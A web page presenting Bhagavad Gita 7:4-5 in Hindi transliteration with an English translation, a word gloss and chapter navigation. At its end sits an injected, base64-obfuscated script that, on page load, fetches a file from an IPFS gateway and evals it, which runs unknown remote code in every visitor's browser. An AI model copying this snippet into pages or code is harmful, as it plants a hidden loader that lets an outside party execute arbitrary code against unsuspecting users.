गीता 7:4-5

gita adhyay-7 shlok-4, 5 / Gita Chapter-7 Verse-4, 5 prasang- para aur apara prakritiyoan ka svaroop batalakar ab bhagavanh yah batalate haian ki ye donoan prakritiyaan hi charachar sampoorn bhootoan ka karan hai aur maian in donoan prakritiyoan sahit samast jagath ka mahakaran hooan- bhoomirapoanalo vayu: khan mano buddhirev ch . ahankar itiyan me bhinna prakritirashtadha ..4.. apareyamitastvanyaan prakritian viddhi me paramh . jivabhootaan mahabaho yayedan dharyate jagath ..5.. prithvi, jal, agni, vayu, akash, man, buddhi aur ahankar bhi- is prakar yah ath prakar se vibhajit meri prakriti hai. yah ath prakar ke bhedoan vali to apara arthath meri j d prakriti hai aur he mahabaho! isase doosari ko, jisase yah sampoorn jagath dharan kiya jata hai, meri jivaroopa para arthath chetan prakriti jan ..4-5.. Earth, water, fire, air, ether, mind, reason and also ego; these constitute my nature eithtfold divided. This indeed is my lower material nature; the other than this, by which the whole universe is sustained, know it to be my higher or spiritual nature in the form of jiva the life-principle, O Arjuna. (4,5) bhoomi: = prithivi; ap: = jal; anal: = agni: khamh = akash (tatha); ch = aur; ahankar: = ahankar; iti = aise; iyamh = yah; ashtadha = ath prakar se; bhinna = vibhakt huee; me = meri; prakriti: = prakriti hai; iyamh = yah (ath prakar ke bhedoan vali); tu = to; apara = apara hai arthath meri j d prakriti hai (aur); mahabaho= he mahabaho; it: = isase; anyamh = doosari ko; jivabhootamh = jivaroop; paramh = para arthath chetan; prakritimh = prakriti; vidvi =jan; yaya =jisase; idamh = yah (sanpoorn); dharyate = dharan kiya jata hai

<= pichhe Prev | age Next =>

adhyay sat shlok sankhya Verses- Chapter-7 1 | 2 | 3 | 4, 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29, 30

adhyay / Chapter: ek (1) | do (2) | tin (3) | char (4) | paanch (5) | chh: (6) | sat (7) | ath (8) | nau (9) | das (10) | gyarah (11) | barah (12) | terah (13) | chaudah (14) | pandrah (15) | solah (16) | satrah (17) | atharah (18)

tika tippani aur sandarbh sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>